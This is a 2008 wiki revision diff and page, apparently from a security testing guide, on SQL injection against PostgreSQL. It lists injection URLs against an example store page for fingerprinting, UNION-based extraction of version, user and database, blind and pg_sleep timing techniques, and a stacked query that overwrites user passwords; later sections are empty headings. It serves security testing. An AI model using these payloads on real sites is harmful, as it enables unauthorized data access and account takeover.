Revision as of 20:11, 11 May 2008 (view source) Dbellucci (talk | contribs) (→‎Identifing PostgreSQL) ← Older edit		Revision as of 20:58, 15 May 2008 (view source) Dbellucci (talk | contribs) (→‎Blind Injection) Newer edit →
Line 45:		Line 45:
	== Blind Injection ==		== Blind Injection ==
		+
		+	For blind SQL Injection you should take in consideration internal provided functions:
	=== Inference ===		=== Inference ===
		+
		+
		+	* String Length
		+	*: ''LENGTH(str)''
		+	* Extract a substring from a given string
		+	*: ''SUBSTR(str,index,offset)''
		+	* String representation with no single quotes
		+	*: ''CHR(104)||CHR(101)||CHR(108)||CHR(108)||CHR(111)''
	=== Timing Attacks ===		=== Timing Attacks ===
		+	''pg_sleep()'' is all you need
	== Single Quote (un)Escape ==		== Single Quote (un)Escape ==

---

Revision as of 20:58, 15 May 2008

Overview

In this paragraph we're going to describe some SQL Injection techniques for PostgreSQL.

Description

Identifing PostgreSQL

When a SQL Injection has been found you need to carefully fingerprint backend database engine. You can determine that backend database engine is PostgreSQL by using one of the above peculiarities:

• String concatenation by using the operator: ||
• Casting by using the operator: ::

Examples:

 http://www.example.com/store.php?id=1 AND '11'='1'||'1'
 http://www.example.com/store.php?id=1 AND 1::char=chr(49)

PostgreSQL Peculiarities

• PHP Connector allow multiple statements to be executed by using ; as a statement seperator
• SQL Statement can be truncated on vulnerable URL by appending comment char: --.

Example:

   http://www.example.com/store.php?id=1--hello world 
   http://www.example.com/store.php?id=1;--hello world 

Banner Grabbing

Function version() can be used to accomplish this task.

select version():

PostgreSQL 8.3.1 on i486-pc-linux-gnu, compiled by GCC cc (GCC) 4.2.3 (Ubuntu 4.2.3-2ubuntu4)

Example:

 http://www.example.com/store.php?id=1
       Acme Biscuits

 http://www.example.com/store.php?id=1 UNION ALL SELECT NULL,version(),NULL LIMIT 1 OFFSET 1--
       PostgreSQL 8.3.1 on i486-pc-linux-gnu, compiled by GCC cc (GCC) 4.2.3 (Ubuntu 4.2.3-2ubuntu4)

Blind Injection

For blind SQL Injection you should take in consideration internal provided functions:

Inference

• String Length

  LENGTH(str)

• Extract a substring from a given string

  SUBSTR(str,index,offset)

• String representation with no single quotes

  CHR(104)||CHR(101)||CHR(108)||CHR(108)||CHR(111)

Timing Attacks

pg_sleep() is all you need

Single Quote (un)Escape

String can be encoded, to prevent single quotes escaping, by using chr() function.

  * chr(n): Returns the character whose ascii value corresponds to the number
  * ascii(n): Returns the ascii value corresponds to the character

Let say you want to encode the string 'root':

  select ascii('r')
  114
  select ascii('o')
  111
  select ascii('t')
  116

We can encode 'root' with:

 chr(114)||chr(111)||chr(111)||chr(116)

Example:

  http://www.example.com/store.php?id=1; UPDATE users SET PASSWORD=chr(114)||chr(111)||chr(111)||chr(116)--

Current User

Current user can be retrieved with the following SQL SELECT statements:

 SELECT user
 SELECT current_user
 SELECT session_user
 SELECT usename FROM pg_user
 SELECT getpgusername()

Examples:

 http://www.example.com/store.php?id=1 UNION ALL SELECT user,NULL,NULL--
 http://www.example.com/store.php?id=1 UNION ALL SELECT current_user, NULL, NULL--

Current Database

Native function current_database() return current database name.

Example:

 http://www.example.com/store.php?id=1 UNION ALL SELECT current_database(),NULL,NULL--

Enumerating Databases

Enumerating Tables

Enumerating functions

Blind SQL Injection Attacks

Inference

Timing Attacks

Attack Vectors

Reading from a file

Writing to a file

Shell Injection

Smashing dblink()

References

Tools